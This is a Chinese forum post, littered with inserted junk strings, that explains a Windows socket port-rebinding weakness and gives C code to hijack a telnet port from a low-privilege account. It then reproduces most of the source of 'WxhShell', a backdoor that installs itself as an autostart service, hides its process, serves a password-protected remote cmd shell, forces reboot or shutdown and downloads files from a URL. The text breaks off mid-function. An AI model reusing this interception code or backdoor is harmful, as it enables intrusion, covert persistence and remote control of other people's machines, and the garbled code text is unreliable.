-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Kz2s{y~? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !5=S2<UX %g{<EuK]p saddr.sin_family = AF_INET; gP:H_nVh Xi81?F?[ saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~SR9*< >m4Q*a4M bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Tt\G y (|.rEaTA[1 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [X\~J &kD O#B2XoZa+ 这意味着什么?意味着可以进行如下的攻击: LV!<vakCK HMPb%'U~ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DNy 6Kw vZ/Bzy@| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a?ux TjLW<D(i> 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Vs@H>97,G J0O wzO 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 xty)*$C> ="__*J#nze 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6z ,nt BoHpfx1C 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E7>D:BQ\2 A4hbh$ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %e%VHHO| Ue2%w/Yo #include n(?BZ'&!O #include V"DilV$v #include 0m
7_#g4$L #include qpXsQim$~ DWORD WINAPI ClientThread(LPVOID lpParam); R.$1aqA} int main() 8(|lP58~ { Xjs`iK=w WORD wVersionRequested; #f-pkeaeq DWORD ret; ?$Jj^/luD WSADATA wsaData; RA$q{$arb BOOL val; *dmS'/ SOCKADDR_IN saddr; ~3,k8C"pRq SOCKADDR_IN scaddr; rs+
["h int err; q>Kzl/~c.P SOCKET s; Hh{pp ^ SOCKET sc; O6Mxp- int caddsize; nX|]JW HANDLE mt; '4]_~?&x DWORD tid; =dDr:Y<@* wVersionRequested = MAKEWORD( 2, 2 ); =@y
?Np^A err = WSAStartup( wVersionRequested, &wsaData ); ~zph,bk if ( err != 0 ) { o GN*p_g printf("error!WSAStartup failed!\n"); /+ Q3JS( return -1; 8qWN~Gk1p{ } g8L{xwx< saddr.sin_family = AF_INET; 1%`Nu ]D EEdU\9DH( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 cyPJ(&; E2u9>m4_J saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1yV+~)by3 saddr.sin_port = htons(23); ibn(eu<uW if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M"
R=;n { q!4eVg* printf("error!socket failed!\n"); 35/K9l5 return -1; `|WEzW~ } T3,}CK#O val = TRUE; W|4h;[w //SO_REUSEADDR选项就是可以实现端口重绑定的 X(JE]6_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RAB'%CY4 { y ]D[JX[ printf("error!setsockopt failed!\n"); 6'45c1e return -1; WO!'(" } k<}3_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9>T5~C'* //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P87Lo4Rd //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 xZ(ryE% (C.<H6]= if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #6*20w_u { E_-QGE/1 ret=GetLastError(); P^[y~I#{ printf("error!bind failed!\n"); _bn
"c@s return -1; 14z
?X% } 9|NH5A"H. listen(s,2); EFn[[<&><t while(1) d3"QCl { [ahK+J caddsize = sizeof(scaddr); M2pFXU?] //接受连接请求 &M{;[O{ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }*?,&9/_) if(sc!=INVALID_SOCKET) Fxv5kho { `lA_knS mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?Sr7c|a2 if(mt==NULL) _"[Ls?tRX { ,{X}C printf("Thread Creat Failed!\n"); qT~a`ou: break; ;(&S1Rv9 } i "d&U7Q } SFR<T CloseHandle(mt); ;cfPS } <S3s==Cg closesocket(s); lKG' KR. WSACleanup(); )fQ1U return 0; 7j8lhrM}^ } 53WCF[ DWORD WINAPI ClientThread(LPVOID lpParam) __Zex5Y#- { DM,)nh6' SOCKET ss = (SOCKET)lpParam; kgh0 SOCKET sc; (7Ln~J* unsigned char buf[4096]; pGd@%/]AO SOCKADDR_IN saddr; Z rv:uEl long num; o 3JSh= DWORD val; F-Bj DWORD ret; ==AmL]* //如果是隐藏端口应用的话,可以在此处加一些判断 mgMa)yc!dp //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 otX/sg.B* saddr.sin_family = AF_INET; |u]IOw&1 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xVk5% saddr.sin_port = htons(23); Ey=ymf.} if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <$??Z;6 { 7n,=`0{r printf("error!socket failed!\n"); XK&G `cJ[ return -1; -2'1KAk-W } +{0v@6<(02 val = 100; >&ENrvaJ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0f#xyS 3 { %,(X R` ret = GetLastError(); @FZbp return -1; 0D Lw } ohjl*dw if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2Z>8ROv^X { uS5G(} [ ret = GetLastError(); 25 cJA4 return -1; (hEg&@ } (67byO{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) u+^KP>rM( { 1,P\dGmu printf("error!socket connect failed!\n"); C_Z/7x*>d closesocket(sc); 3Ak'Ue closesocket(ss); YSrjg|k* return -1; &\%\"Zh } ;Yt+{pI while(1) %JgdLnQE { \)?+6D'# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H:S<O%f //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]
n\]ao //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3N5@<:2` num = recv(ss,buf,4096,0); }?o4MiLB if(num>0) '{-Ic?F<P send(sc,buf,num,0); W-*HAS else if(num==0)
T%Bz >K break; .yDGw Lry num = recv(sc,buf,4096,0); >qs/o$+t} if(num>0) 1R;@v3 send(ss,buf,num,0); 1nw\?r2 else if(num==0) TF9A4 break; et"Pb_-U } nRvaCAt^
closesocket(ss); yj=OR|v closesocket(sc); E]v?:!!ds return 0 ; W*%(J$E } ]&N>F8.L+ TB-dV'w XhA tf@n ========================================================== f >.^7.is ,"Fl/AjO 下边附上一个代码,,WXhSHELL Y'5(exW KaX*) P ========================================================== Paeq s/.P/g%tA> #include "stdafx.h" N6v?Qzvi cg o #include <stdio.h> &>B"/z #include <string.h> 8Ihl}aguW #include <windows.h> jZC[_p; #include <winsock2.h> IJt'[&D #include <winsvc.h> +xvn n #include <urlmon.h> G$2@N6 Oxa8u e? #pragma comment (lib, "Ws2_32.lib") bLSc=f& #pragma comment (lib, "urlmon.lib") N:+)6a k~gOL#$ #define MAX_USER 100 // 最大客户端连接数 r<4j;"lQK #define BUF_SOCK 200 // sock buffer Oet+$ b #define KEY_BUFF 255 // 输入 buffer ,<Z,- 0S 1=7ASS9 #define REBOOT 0 // 重启 T9XUNR{& #define SHUTDOWN 1 // 关机 .xuzu#- jRd$Vt #define DEF_PORT 5000 // 监听端口 /&<V5?1| !/!ga)Y #define REG_LEN 16 // 注册表键长度 _6V1oe2 #define SVC_LEN 80 // NT服务名长度 Wa7wV
9 ]<C]`W2{ // 从dll定义API c#>(8#'.U typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k}p8"'O typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $dXx@6fP typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %B( rW?p& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Uqb]&2 Dk>6PBl // wxhshell配置信息 ca,W:9#.xn struct WSCFG { IRwtM'%0 int ws_port; // 监听端口 #\`kg#& char ws_passstr[REG_LEN]; // 口令 7F6B int ws_autoins; // 安装标记, 1=yes 0=no
)UM^#<- char ws_regname[REG_LEN]; // 注册表键名 Mn/@?K?y char ws_svcname[REG_LEN]; // 服务名 'A^q)hpax char ws_svcdisp[SVC_LEN]; // 服务显示名 [61*/=gWe char ws_svcdesc[SVC_LEN]; // 服务描述信息 K,I char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k@un}}0r int ws_downexe; // 下载执行标记, 1=yes 0=no w#[cGaIB char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 3fp&iz char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n=bdV(?4 7KX27.~F }; o{! :N> ( '5 ~cd // default Wxhshell configuration as|w} $ struct WSCFG wscfg={DEF_PORT, PCHspe9!y "xuhuanlingzhe", )Z:D}r8[ 1, `:;q4zij; "Wxhshell", E_aBDiyDf "Wxhshell", |oke)w=gn "WxhShell Service", #XA`n@2Uoo "Wrsky Windows CmdShell Service", g27'il "Please Input Your Password: ", 9aY8`B 1, {x.0Yh7 " http://www.wrsky.com/wxhshell.exe", nvT@'y+ "Wxhshell.exe" E "}@SaB- }; : S3+UT _1&Ar4: // 消息定义模块 xE
w\'tH char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Pv/v=s>X char *msg_ws_prompt="\n\r? for help\n\r#>"; XWnP(C9? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; w$6Z}M1d char *msg_ws_ext="\n\rExit."; [)1vKaC char *msg_ws_end="\n\rQuit."; kI)}7e char *msg_ws_boot="\n\rReboot..."; vM6W64S char *msg_ws_poff="\n\rShutdown..."; |[IyqWG9 char *msg_ws_down="\n\rSave to "; C_kuW+H } P ," char *msg_ws_err="\n\rErr!"; z&tC5]# char *msg_ws_ok="\n\rOK!"; @;tfHoXD (=Cb)/s0 char ExeFile[MAX_PATH]; (X,i,qK/ int nUser = 0; xBA"w:< HANDLE handles[MAX_USER]; #aU!f"SS int OsIsNt; *>KBDFI P+}~6}wJE SERVICE_STATUS serviceStatus; NFZ(*v1U SERVICE_STATUS_HANDLE hServiceStatusHandle; xF8n=Lc robg1 // 函数声明 NBY|U{.g int Install(void); X<}}DZSu a int Uninstall(void); Ly+UY.v" int DownloadFile(char *sURL, SOCKET wsh); _E`+0;O int Boot(int flag); v62_VT2v void HideProc(void); Ze eV- int GetOsVer(void); +h4W<YnW int Wxhshell(SOCKET wsl); c\1X NPGG void TalkWithClient(void *cs); @%R4V[Lo. int CmdShell(SOCKET sock); P,{Q k~iu int StartFromService(void); PY.K_(D int StartWxhshell(LPSTR lpCmdLine); hOUH1m. KU/r"lMNlU VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o5tCbsHj- VOID WINAPI NTServiceHandler( DWORD fdwControl ); :xPo*#[Z(A "mW'tm1+ // 数据结构和表定义 gCb+hQq\ SERVICE_TABLE_ENTRY DispatchTable[] = 2URGd#{VQ { M% \T5 {wscfg.ws_svcname, NTServiceMain}, DFK@/.V {NULL, NULL} GXVx/)H }; vTO9XHc E BsIF3sS#9 // 自我安装 [~s+,OO9) int Install(void) A~bSB
n: ' { _|#abLh% char svExeFile[MAX_PATH]; N3|:MMl HKEY key; MO8}i?u=z strcpy(svExeFile,ExeFile); FOsd{Fw U`ttT5; // 如果是win9x系统,修改注册表设为自启动 Lj<TzPzg* if(!OsIsNt) { P_1WJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M?eP1v:<+G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e$Ds2%SaT RegCloseKey(key); G+8)a$?v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E+@Q
u "W
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mvEhP{w RegCloseKey(key); Uz^N6q return 0; {fR\yWkt? } C
e-ru) } tb+gCs'D } bE
!SW2:M else { q !z"YpYB Yub}AuU`v // 如果是NT以上系统,安装为系统服务 Cdz&'en^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j%Au0k if (schSCManager!=0) rUb{iU;~m { lPR=C0h}@ SC_HANDLE schService = CreateService szsVk#p ( a|7C6#iz$ schSCManager,
/:4J wscfg.ws_svcname, L/tpT?$fi wscfg.ws_svcdisp, ?$f.[;mh SERVICE_ALL_ACCESS, 73cb1kfPd SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Trv}YT. SERVICE_AUTO_START, :W*yfhLt SERVICE_ERROR_NORMAL, i<^X z svExeFile, Y\]ZIvTSb NULL, )}@D\(/@ NULL, avRtYL NULL, cAW}a NULL, -qIi.]/f"9 NULL kw#X,hP ); (u@:PiU/eP if (schService!=0) o8g7wM]M { .dlsiBh CloseServiceHandle(schService); q`c!!Lg CloseServiceHandle(schSCManager); Z6Fu~D2Uy strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %} `` : strcat(svExeFile,wscfg.ws_svcname); yW|J`\`^T if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eJ?oz^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PXMd=,} RegCloseKey(key); w.?4}'DK return 0; vhfjZ } MYS`@%ZV#k } X9m^i2tk CloseServiceHandle(schSCManager); w \b+OW } wXQxZuk[ } JQ1MuE' ]/=R ABi return 1; |U|>YA1[b } J\@6YU[A d+q],\"R // 自我卸载 duY?LJ @g int Uninstall(void) {cXr!N^K { &>JP.//spi HKEY key; |(>`qL{| QoZV6 if(!OsIsNt) { [Yt{h9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ..)J6L5l RegDeleteValue(key,wscfg.ws_regname); \?xM%(:<Q RegCloseKey(key); V"YeF:I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A(FnU: RegDeleteValue(key,wscfg.ws_regname); )^ah, ;( RegCloseKey(key); [CJ<$R ! return 0; !O_G%+>5W } U]cXE1c>F } $tmdE)"& } 7iP+!e}$. else { Q@W/~~N cRT'?w`} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9J3fiA_ if (schSCManager!=0) ?\V#^q- { f{P1.?a SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Jl{ 0q7b if (schService!=0) nI*.(+h { +S4n416K if(DeleteService(schService)!=0) { io4<HN CloseServiceHandle(schService); r2=@1=?8 CloseServiceHandle(schSCManager); )5}<@Ql return 0; V`I4"}M1 } \d@5*q CloseServiceHandle(schService); BHY8G06 } VQ9A/DH/ CloseServiceHandle(schSCManager); E-z5mX.2 } Vu$m1,/ } bk0>f pa>C}jk}6 return 1; ZNQx;51 } 5CY%h [neuwdN // 从指定url下载文件 E5ce=$o int DownloadFile(char *sURL, SOCKET wsh) QLd*f[n { m!<HZvq?vf HRESULT hr; N'`X:7fN char seps[]= "/"; 'ITq\1z char *token; Q~,Mzt"}W char *file; _(N+z. char myURL[MAX_PATH]; igxO:]? char myFILE[MAX_PATH]; p'R<yB)V P 45Irir strcpy(myURL,sURL); |+nmOi,z token=strtok(myURL,seps); N"70P/ while(token!=NULL) F3|^b{'zO { 4aXIRu%#7 file=token; 1/}H
0\9' token=strtok(NULL,seps); =-U0r$sK+F } ,2M}qs"P7G 'UlVc2%{ GetCurrentDirectory(MAX_PATH,myFILE); &K/?# strcat(myFILE, "\\"); i7Qb~RW strcat(myFILE, file); pfN(Ae
Pt send(wsh,myFILE,strlen(myFILE),0); QG5WsuT send(wsh,"...",3,0); <*(Z}p hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kip&YB%rk if(hr==S_OK) luoQ#1F?sl return 0; MmT/J1zM else I*u3e return 1; RAW;ze*" bZ`v1d
(r } K%z!#RyJ4 K\K& K~Z // 系统电源模块 Hyb(.hlZh int Boot(int flag) }3#\vn0gT { 4XpWDfa.} HANDLE hToken; BSm"]!D8* TOKEN_PRIVILEGES tkp; ,L<JG ]+D@E2E if(OsIsNt) { rB[J*5v OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !Z$d<~Mq q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JEto_&8,C tkp.PrivilegeCount = 1; N~)-\T:ap tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `zQuhD 8W AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y1PR?c
Q if(flag==REBOOT) { 2) X#&IE if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <[dcIw<7 return 0; & zDuh[j} } f.6>6%l else { dNe!X0[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iWCYK7c@.- return 0; xC)bW,% } 6GxLaI } &S >{9y% else { zdYH9d>D if(flag==REBOOT) { p2STy\CS if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h@%Xy(/m' return 0; Wiis<^) } +CSpL2@ else { 3aqH!?rVU if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {)" 3 return 0; qb"S } @)Vpj\jM-C } 7H Har'=T u
BEwYQB return 1; qDdO-fPev } F-,gj{s khy'Y&\F; // win9x进程隐藏模块 NW\CEJV void HideProc(void)
)@wC6Ij { e;.,x 5+ X$kLBG[o_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~~>m if ( hKernel != NULL ) j)J |'b| { A]BeI pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]Uv,}W ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L)'G_)Sl FreeLibrary(hKernel); <pX?x3-' } 0z=KnQx"4 tJ(xeb return; owNwj } k(ouE|B ^>|ZN2 // 获取操作系统版本 (5$Ge$ int GetOsVer(void) Z ]A
|"6< { Clf$EX;~ OSVERSIONINFO winfo; ;$D,w winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iK}p#"si GetVersionEx(&winfo); KsULQJ#, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C*Q7@+& return 1; JH?ohA else Cv#aBH'N return 0; T~UDD3 } +5y^c|L0 1Yb &E7j // 客户端句柄模块 NpVL;6?7T int Wxhshell(SOCKET wsl) ZKi&f,:
{ d@3DsE.{i SOCKET wsh; l,@>J9}Se struct sockaddr_in client; uaIAVBRcS DWORD myID; 5EtR>Pc =3(v4E':5 while(nUser<MAX_USER) .tRm1&Qi { xkSX KR int nSize=sizeof(client); @gP*z6Z wsh=accept(wsl,(struct sockaddr *)&client,&nSize); alJ0gc2?
if(wsh==INVALID_SOCKET) return 1; <F3{-f'Rx ,6+joKe- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dgVGP_~ if(handles[nUser]==0) DAw1S$dM closesocket(wsh); BK!Yl\I< else I9kz)Q o nUser++; {a[BhK'g } TuwP'g[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'n|U
6J;!p/C8E return 0; D`XXR}8V } ;@;aeu ^wy // 关闭 socket $#=d@Nw_ void CloseIt(SOCKET wsh) JA^!i98{ { R>c>wYt'f closesocket(wsh); ^;
KCE nUser--; 4X=VNORlU0 ExitThread(0); 5*z>ez2YQ7 } W ^<AUT :hICe+2ca // 客户端请求句柄 [Qs`@u<% void TalkWithClient(void *cs) KS_+R@3Z { &N.pW=%,N ;0eVE SOCKET wsh=(SOCKET)cs; 8~!E.u9w char pwd[SVC_LEN]; KR.;X3S} char cmd[KEY_BUFF]; a
4?A 5 char chr[1]; kF1$ int i,j; SS/vw% SkDr4kds while (nUser < MAX_USER) { @!iS`u [#KY.n if(wscfg.ws_passstr) { Jxl'!8t if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WsbVO|C //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u(zgKoF9A //ZeroMemory(pwd,KEY_BUFF); nf
pO i=0; yu_PZ"l while(i<SVC_LEN) { /Am9w$_T[ rl.K{Uad // 设置超时 %Z6Q/+#fn fd_set FdRead; 7nPg2K& struct timeval TimeOut; 59nRk}^$se FD_ZERO(&FdRead); ]*NYuEgc FD_SET(wsh,&FdRead); @,<jPR. TimeOut.tv_sec=8; /3)\^Pof TimeOut.tv_usec=0; FH}?QebSR int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .]>Tj^1 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7#JnQ|
] }8^qb5+!3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]j0+4w pwd =chr[0]; {^oohW - if(chr[0]==0xd || chr[0]==0xa) { "e-z2G@z pwd=0; knO
X5UnS break; co,0@.i } ];5J i++; mX|M]^_,z } P 0\`4Cr! +kWWx#L# // 如果是非法用户,关闭 socket EUSM4djL if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "nr?WcA } `:'ciY|%b <?A4/18K send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7fqQ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <^nS%hXEr Q7y'0s while(1) { '$,yV f KY&Lv^1_| ZeroMemory(cmd,KEY_BUFF); |}{gE=] `N[@lV\xp! // 自动支持客户端 telnet标准 =.s0"[% j=0; pwMA,X/{ while(j<KEY_BUFF) { cPcH
8Vd if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i>S@C@~ cmd[j]=chr[0]; *Y85evq if(chr[0]==0xa || chr[0]==0xd) { W(s5mX,Kv cmd[j]=0; 1*A^v break; bF9.k } I{w(`[Nxw* j++; bR3Crz(9G } i).Vu}W#S x((u // 下载文件 Wm1dFf.> if(strstr(cmd,"http://")) { l|+$4 Nb2 send(wsh,msg_ws_down,strlen(msg_ws_down),0); O+&;,R: if(DownloadFile(cmd,wsh)) $j,$O>V send(wsh,msg_ws_err,strlen(msg_ws_err),0); f5//?ek else a)lCp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j f4<LmR } [!U%'' else { H%vgPQ8 wMkHx3XD switch(cmd[0]) { V|A)f@ Fs a6zWg7 PN // 帮助 5ppr;QaB case '?': { ,i6U* send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QcWg break; @@@}FV& } !{,2uQXe // 安装 7x.j:{2 case 'i': { yVVyWte, if(Install()) 0(o2<d7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); J#:`'eEG else V9/2y9u send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,#N}Ni: break; ~NE`Ad.G } 6
JI8l`S // 卸载 @ddCVxd case 'r': { @D[+@N if(Uninstall()) &@xm< A\S send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Xpk"N7 else j#3IF *" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q-^{2.ftcx break; fhn$~8[_A } 6 _V1s1F // 显示 wxhshell 所在路径 'hu'}F{ case 'p': { dB~A4pZa char svExeFile[MAX_PATH]; ;^JMX4[ strcpy(svExeFile,"\n\r"); 3\]j4*i! strcat(svExeFile,ExeFile); k@9hth2Q send(wsh,svExeFile,strlen(svExeFile),0); A1;'S<a break; DI(X B6 } .|CoueH // 重启 f#Ud=& >j case 'b': { o5RvxGN send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Qn$YI9t if(Boot(REBOOT)) jHob{3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); `_.:O,^n^ else { y%9Hu closesocket(wsh); .5>]DZn6 ExitThread(0); )" Z|x } ^7Z?}tgU break; )Pubur %, } oNYFbZw // 关机 Vo[.^0 case 'd': { cSv;HN: send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E3{kH
7_'\ if(Boot(SHUTDOWN)) H/*slqL send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hi2JG{i else { @/N]_2@8; closesocket(wsh); 14l6|a ExitThread(0);
n gJ{az } ]):>9q$C break; :RDk{^b) } 5w~ 0Q // 获取shell 1fV)tvU$ case 's': { N,8.W"fV CmdShell(wsh); E|oOd<z closesocket(wsh); {|0YcL ExitThread(0); OK-*TPrc break; T+gH38!e } XxeP;} // 退出 jq#`cay! case 'x': { DGTE#?'( send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QxbG-B^)= CloseIt(wsh); x8c>2w;6x^ break; PYNY1|3 } vo:h"ti // 离开 YnU*MC} case 'q': { *T}c{/ send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6)ysiAH? closesocket(wsh); Jw;G_dQ[ WSACleanup(); eC<?g exit(1); S&&QU# break; cb|hIn\>7 } 1:yil9.\* } #y"LFoJn } UCj<FN ` YuHXm3[ // 提示信息 `|&0j4(Pg if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @o1#J`rv } z[vu-f9 } *Jt+-ZM LEN=pqGJ. return; 3me&isKL } s^.tj41Gx} o*E32#l // shell模块句柄 > Xij+tt{ int CmdShell(SOCKET sock) Hj1?c,mo4 { A|4
3W= STARTUPINFO si; e NH9`Aa ZeroMemory(&si,sizeof(si)); #}Xsi&:XU si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
Y~*aA&D si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x&JD~,Y PROCESS_INFORMATION ProcessInfo; ~PAI0+*"q char cmdline[]="cmd"; <EE^ KR96 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M(C$SB> return 0; vxi_Y\r=T } !?J-Y 5-H"{29 // 自身启动模式 PQ;9iv int StartFromService(void) 9D,!] { j,9/eZRZ typedef struct I (k(p\l% {
